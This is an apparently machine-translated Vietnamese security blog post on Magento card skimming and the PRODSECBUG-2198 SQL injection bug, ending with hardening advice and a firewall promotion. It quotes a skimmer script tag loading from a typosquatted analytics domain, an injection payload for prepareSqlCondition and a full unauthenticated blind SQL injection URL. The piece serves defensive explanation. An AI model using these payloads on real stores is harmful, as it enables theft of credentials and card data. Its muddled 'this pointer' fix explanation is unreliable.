Magento Card Skimming là một hành vi ăn cắp bất hợp pháp thông tin tín dụng / ghi nợ bằng cách đưa các đoạn mã độc hại được gọi là 'skimmers' lên trang web Magento. Nếu bạn là chủ sở hữu của một trang web hỗ trợ Magento thì bài viết này là dành cho bạn. Ở đây, chúng tôi mang đến cho bạn một tài nguyên tốt với tất cả các chi tiết cần thiết xoay quanh vấn đề bảo mật lướt qua thẻ Magento.
Trong bài viết này, chúng ta sẽ thảo luận về việc lướt qua thẻ Magento là gì và nó ảnh hưởng như thế nào đến các trang web Magento (với bằng chứng về khái niệm). Hơn nữa, chúng ta sẽ tìm hiểu một số mẹo làm việc về cách bạn có thể miễn dịch trang web của mình khỏi vấn đề này. Vì vậy, hãy bắt tay ngay vào.
Bài viết liên quan - Các cuộc tấn công Magecart vào cửa hàng Magento là gì và cách ngăn chặn chúng
Đọc lướt thẻ Magento là gì?
Magento là một nền tảng thương mại điện tử mã nguồn mở dựa trên PHP. Nó là một hệ thống quản lý nội dung tự lưu trữ hiện thuộc sở hữu của Adobe. Khoảng hơn 250.000 trang web sử dụng Magento để tăng sức mạnh cho trang web thương mại điện tử của họ. Phần lớn các trang web này thuộc về các đại gia thương mại điện tử có trụ sở tại Mỹ. Do đó, Magento có trách nhiệm nặng nề trong việc đảm bảo trải nghiệm của khách hàng.
Mặt khác, lướt thẻ là hành vi sao chép bất hợp pháp thông tin từ thẻ tín dụng và thẻ ghi nợ bằng thiết bị đọc lướt thẻ vật lý. Đây là cách Magento và đọc lướt thẻ liên kết với nhau.
Đọc lướt thẻ Magento là một hình thức lướt web trong đó tin tặc đánh cắp thông tin thanh toán trên Magento thông qua một tập lệnh của bên thứ ba. Tập lệnh này cho phép chúng đánh cắp thông tin ngân hàng quan trọng như tên của chủ sở hữu, số thẻ tín dụng / thẻ ghi nợ, số CVV và ngày hết hạn. Tin tặc, thường kiếm tiền từ thông tin này bằng cách bán nó ở chợ đen.
Giới thiệu về PRODSECBUG-2198 Khai thác
Sự cố PRODSECBUG-2198 được báo cáo lần đầu tiên vào ngày 9 tháng 11 năm 2018 trên Bugcrowd. Về cơ bản, PRODSECBUG-2198 là một mã dễ bị tấn công cho phép chèn SQL vào Magento. Lỗ hổng này cho phép người dùng chưa được xác thực thực thi mã tùy ý có thể gây rò rỉ thông tin nhạy cảm.
Rất nhanh chóng, lỗi được đánh dấu là P1. Lỗ hổng P1, theo Bugcrowd, là những lỗ hổng có thể gây ra sự leo thang đặc quyền. Do đó, bất kỳ người dùng nào cũng có thể nâng cấp lên quyền quản trị viên từ cấp độ quyền thấp hơn. Hơn nữa, nó cho phép thực thi mã từ xa, đánh cắp tài chính, v.v. Việc khai thác nhắm mục tiêu vào các phiên bản sau của Magento:
- Magento Commerce <1.14.4.1
- Mã nguồn mở Magento <1.9.4.1
- Magento <2.1.17
- Magento <2.2.8
- Magento <2.3.1
Skimmer theo tên Google
Trong một trường hợp đọc lướt Magento gần đây, chúng tôi đã thấy tin tặc sử dụng miền google giả mạo để lấy cắp thông tin thanh toán. Trong cuộc tấn công này, javascript độc hại đã được tải từ một miền có tên - google-analytîcs.com hoặc xn--google-analytcs-xpb.com.
Nếu bạn quan sát kỹ, đó là cách chơi tên trên các miền gốc của Google. Do đó, cuộc tấn công đọc lướt này sử dụng lừa đảo như một phương pháp để lấy thông tin thanh toán nhạy cảm. Tập lệnh trông giống như thế này -
<script type="text/javascript" src="//google-analytîcs.com/www.[redacted].com/3f5cf4657d5d9.js"></script>Hơn nữa, skimmer này thu thập dữ liệu bằng cách sử dụng JavaScripts đã tải và document.getElementsByTagName. Nếu không có công cụ dành cho nhà phát triển nào mở, skimmer này sẽ truyền dữ liệu bị đánh cắp tới miền Google giả mạo - google-analytîcs.com hoặc xn--google-analytcs-xpb.com.
Tuy nhiên, nó cho thấy một hành vi kỳ lạ khi có một công cụ dành cho nhà phát triển mở trên trang web của bạn. Nó phát hiện và dừng giữa chừng quá trình truyền. Ngoài ra, hành vi này khác nhau tùy thuộc vào phần mềm trình duyệt bạn đang sử dụng.
Đọc lướt thẻ Magento:Bằng chứng về khái niệm
Một bằng chứng về khái niệm về lỗ hổng bảo mật này được đề cập như sau. Nó được viết bằng Python và là nguyên nhân chính gây ra sự cố Đọc lướt thẻ Magento.
- Mã ở đây về cơ bản tạo một phiên trình duyệt giả với một số URL và dữ liệu phiên ngẫu nhiên. Điều này được thực hiện bằng cách sử dụng lớp Trình duyệt và chức năng thu thập phiên.
- Một đối tượng của lớp Trình duyệt với chi tiết phiên được chuyển đến lớp chèn SQL.
- Việc chèn SQL hiện thêm một số dữ liệu trọng tải vào URL phiên, tạo sản phẩm và sau đó tìm nạp các chi tiết quan trọng từ cơ sở dữ liệu của trang web. Tải trọng SQL injection cũng có thể được sửa đổi để có được quyền truy cập đặc quyền vào dữ liệu phụ trợ.
- Kẻ tấn công có được thông tin về các giao dịch gần đây của người dùng và thông tin ngân hàng.
Cách khai thác làm lây nhiễm trang web Magento của bạn?
Magento có cơ sở mã khổng lồ khoảng 2 triệu dòng PHP. Điều này làm cho việc kiểm tra và tìm kiếm khai thác trở thành một nhiệm vụ cồng kềnh. Tuy nhiên, khi nhóm tin tặc có đạo đức của chúng tôi kiểm tra mã, họ đã thu hẹp mục tiêu của mình trên các mã chịu trách nhiệm quản lý ORM và DB.
Các khu vực tồn tại lỗi của Magento Card Skimming là:
1. Trong hàm chuẩn bịSQLCondition
Hàm công khai này được chứa bên trong một trong những lớp chính xử lý cơ sở dữ liệu và có thể được đặt tại
MagentoFrameworkDBAdapterPdoMysql
Mã chức năng như sau:
Hiểu cách khai thác
Bây giờ chúng ta hãy hiểu hoạt động của việc khai thác bằng cách tập trung sự chú ý của chúng ta vào các dòng được đánh dấu. Trong dòng được đánh dấu [1], bí danh điều kiện được liên kết với một mẫu bằng cách sử dụng $ conditionKeyMap. Điều này thay thế mọi ký tự ‘?’ Bên trong bí danh bằng một phiên bản được trích dẫn của giá trị đã cho bằng cách sử dụng hàm _prepareQuotedSqlCondition () ở dòng số 33 dựa trên logic được viết trong các dòng 30-35. Bây giờ hãy xem xét trường hợp mã sau:
<?php
$db->prepareSqlCondition('username', ['regexp' => 'my_value']);
=> $conditionKeyMap['regexp'] = "{{fieldName}} REGEXP ?";
=> $query = "username REGEXP 'my_value'";Bây giờ một vấn đề nảy sinh khi các điều kiện “from” và “to” được sử dụng cùng lúc trong dòng số 30. Logic trong đoạn mã đó đảm bảo rằng một trường được chứa trong một phạm vi. Để hiểu rõ hơn, hãy xem đoạn mã này:
<?php
$db->prepareSqlCondition('price', [
'from' => '100'
'to' => '1000'
]);
$query = "price >= '100' AND price <= '1000'";Theo logic thực thi, bất cứ khi nào cả hai điều kiện tồn tại, đầu tiên "từ" được xử lý và sau đó "đến" được xử lý. Nhưng một sai lầm quan trọng được thực hiện ở dòng số 38. Truy vấn mà “from” tạo ra được sử dụng thêm để định dạng.
Bây giờ mỗi "?" sẽ được thay thế bằng giá trị đã cho, nếu dấu hỏi xuất hiện trong giá trị cho “from”, nó sẽ được thay thế bằng một phiên bản được trích dẫn của giá trị được gán cho “to”. Để thực hiện một cuộc tấn công chèn SQL hợp lệ, kẻ tấn công có thể triển khai mã khai thác sau:
<?php
$db->prepareSqlCondition(‘price’,[
‘from’ => ‘x?’
‘to’ => ‘ OR 1=1 -- -’
]);
-> $query = “price >= ‘x’ OR 1=1 -- -’’ AND price <= ’ OR 1=1 -- -’”Sai lầm, mặc dù ở mức độ nhỏ nhưng có thể rất ảnh hưởng. Sự thật đáng kinh ngạc là đoạn mã này đã được sử dụng từ phiên bản Magento 1.x.
2. Trong chức năng thực thi của lớp Đồng bộ hóa
Một lỗ hổng khác được tìm thấy trong hàm thực thi tại vị trí sau:
MagentoCatalogControllerProductFrontendActionSynchronize
Mã nguồn PHP nơi vấn đề bảo mật được tiết lộ như sau:
<?php
public function execute()
{
$resultJson = $this->jsonFactory->create();
try {
$productsData = $this->getRequest()->getParam(‘ids’,[]);
$typeId = $this->getRequest()->getParam(‘type_id’,null);
$this->synchronizer->syncActions($productsData, $typeId);
} catch (Exception $e) {
$resultsJson->setStatusHeader(
ZendHttpResponse::STATUS_CODE_400,
ZendHttpAbstractMessage::VERSION_11,
‘Bad Request’
);
}
return $resultsJson->setData([]);Ngăn xếp cuộc gọi cuối cùng dẫn đến lỗi:
<?php
$productsData = $this->getRequest()->getParam('ids', []);
$this->synchronizer->syncActions($productsData, $typeId);
$collection->addFieldToFilter('product_id', $this->getProductIdsByActions($productsData));
$this->_translateCondition($field, $condition);
$this->_getConditionSql($this->getConnection()->quoteIdentifier($field), $condition);
$this->getConnection()->prepareSqlCondition($fieldName, $condition);
Đoạn mã dễ bị tấn công này tồn tại từ v2.2.0 của Magento. Một URL mẫu có thể gây ra hiện tượng chèn SQL mù không được xác thực này được liên kết với Magento Card Skimming như sau:
https://magento2website.com/catalog/product_frontend_action/synchronize?
type_id=recently_products&
ids[0][added_at]=&
ids[0][product_id][from]=?&
ids[0][product_id][to]=))) OR (SELECT 1 UNION SELECT 2 FROM DUAL WHERE 1=1) -- -
Bây giờ thông tin có thể được đọc từ cơ sở dữ liệu, kẻ tấn công có thể trích xuất thông tin xác thực cho tài khoản quản trị viên và sử dụng chúng để truy cập phần phụ trợ. Họ cũng có thể lén lấy thông tin ngân hàng và các chi tiết tài chính khác từ cơ sở dữ liệu người dùng và cơ sở dữ liệu giao dịch. Kẻ tấn công có thể sử dụng thông tin này và tiến hành các tội phạm mạng như gian lận thương mại điện tử hoặc lừa đảo hoặc thậm chí lừa đảo trực tuyến. Kẻ tấn công cũng có thể lưu trữ phần mềm độc hại trên trang web của bạn, điều này có thể cản trở danh tiếng của tổ chức bạn trong nền tảng thương mại điện tử. Trang web của bạn có thể bị các công cụ tìm kiếm đưa vào danh sách đen, điều này có thể dẫn đến giảm lưu lượng truy cập không phải trả tiền vào trang web của bạn.
Làm cách nào để bảo vệ trang web của bạn khỏi Magento Card Skimming?
Bây giờ chúng ta đã hiểu chi tiết về hoạt động của Magento Card Skimming, hãy hiểu cách chúng ta có thể bảo vệ nó khỏi các cuộc tấn công như vậy trong tương lai.
-
Hàm chuẩn bị vệ sinhSqlInjection
Để loại bỏ lỗi bảo mật trong chức năng readySqlInjection, mã phải được viết là:
$query = $query . $this->_prepareQuotedSqlCondition($conditionKeyMap['to'], $to, $fieldName);Tham chiếu đến giá trị được truyền bằng con trỏ ‘this’ sẽ ngăn kẻ tấn công có quyền truy cập trực tiếp vào dữ liệu phụ trợ. Việc sử dụng một biến con trỏ cũng cho phép trừu tượng hóa dữ liệu và chỉ truy cập vào một hàm được ủy quyền.
-
Xác thực dữ liệu đầu vào
Các giá trị đang được lấy làm đầu vào trong bất kỳ trang nào của trang web dựa trên Magento của bạn phải được xác thực trước khi chuyển nó tiếp để xử lý phụ trợ. Việc xác nhận có thể được thực hiện bằng cách sử dụng các chức năng thích hợp hoặc logic thích hợp. Nó phải được đánh lừa. Quản trị viên trang web phải bắt buộc các nhà phát triển trang web phải viết mã an toàn và ít bị tấn công.
-
Cập nhật lên Bảo mật
Tất cả các plugin đang được sử dụng bởi trang web dựa trên Magento của bạn phải được cập nhật lên phiên bản mới nhất. Điều này sẽ đảm bảo trải nghiệm an toàn cho khách hàng và người dùng của bạn. Tin tặc thường nhắm mục tiêu các trang web đang chạy trên các plugin cũ và chúng có thể lưu trữ phần mềm độc hại có thể làm chậm trang web của bạn và đưa trang web Magento của bạn vào danh sách đen.
-
Kiểm tra bảo mật
Thực hiện kiểm tra bảo mật kỹ lưỡng của trang web để đảm bảo rằng bạn không có lỗ hổng bảo mật trong trang web của mình. Thực hiện sửa đổi tất cả người dùng Magento và xóa bất kỳ ai mà bạn không nhận ra. Để khám phá tất cả các sơ hở và lỗ hổng mã hóa, bạn có thể thực hiện VAPT (Đánh giá lỗ hổng và Kiểm tra thâm nhập) chuyên nghiệp trên trang web của mình.
-
Báo cáo bất kỳ sự khác biệt nào về bảo mật
Nếu bạn tìm thấy bất kỳ dấu vết vi phạm bảo mật nào trong cơ sở dữ liệu người dùng hoặc cơ sở dữ liệu xử lý các giao dịch, hãy liên hệ với các bên liên quan (bộ xử lý thanh toán, khách hàng và các bên liên quan của công ty) để giải quyết tình huống khẩn cấp này càng sớm càng tốt. Không nên để mặc các vi phạm bảo mật.
-
Hãy thận trọng về các rủi ro bảo mật của máy chủ lưu trữ được chia sẻ
Nếu trang web của bạn được lưu trữ bằng chia sẻ lưu trữ, thì bạn phải mua các gói sao lưu và tăng cường bảo mật. Bạn, với tư cách là quản trị viên bảo mật hoặc quản trị viên trang web phải liên hệ với nhà cung cấp dịch vụ lưu trữ của bạn và có kiến thức về các trang web khác được lưu trữ trên máy chủ lưu trữ được chia sẻ. Đừng mạo hiểm danh tiếng trực tuyến của doanh nghiệp bạn bằng cách chọn một lựa chọn tiết kiệm. Một cuộc thảo luận chi tiết về các rủi ro bảo mật được chia sẻ đã được thực hiện trong một bài viết trước của blog Astra. Bạn có thể đọc nó tại đây.
-
Mã hóa dữ liệu
Mã hóa dữ liệu đang được lưu trữ trên cơ sở dữ liệu trang web của bạn với cơ chế mã hóa mạnh mẽ. Điều này sẽ khiến kẻ tấn công gặp khó khăn trong việc xâm nhập vào dữ liệu cá nhân của người dùng hoặc thông tin chiến lược của tổ chức bạn.
-
Khắc phục các đường dẫn tấn công XSS
Mặc dù, trong bài viết này, chúng ta không thảo luận về XSS vì trang cổng thanh toán của Magento được xây dựng bằng các biểu mẫu dựa trên PHP, điều quan trọng là chúng phải sử dụng htmlspecialchars () chức năng ngăn chặn các cuộc tấn công $ _SERVER [“PHP_SELF”].
-
Cài đặt tường lửa
Cài đặt tường lửa ứng dụng web là một cách khác để tăng cường bảo mật cho trang web của bạn. Astra’s Firewall là một hệ thống giám sát liên tục cho trang web của bạn. Nó xác định và ngăn chặn các mối đe dọa sắp tới đối với trang web của bạn 24 * 7. Hơn nữa, nó tiếp tục phát triển với mỗi lần cố gắng tấn công và được cấu hình tốt hơn cho lần tiếp theo.
Để biết thêm các bài viết về các vấn đề bảo mật của Magento, hãy nhấp vào đây .
Thấy bài viết hữu ích? Chia sẻ với bạn bè của bạn trên Facebook, Twitter, LinkedIn.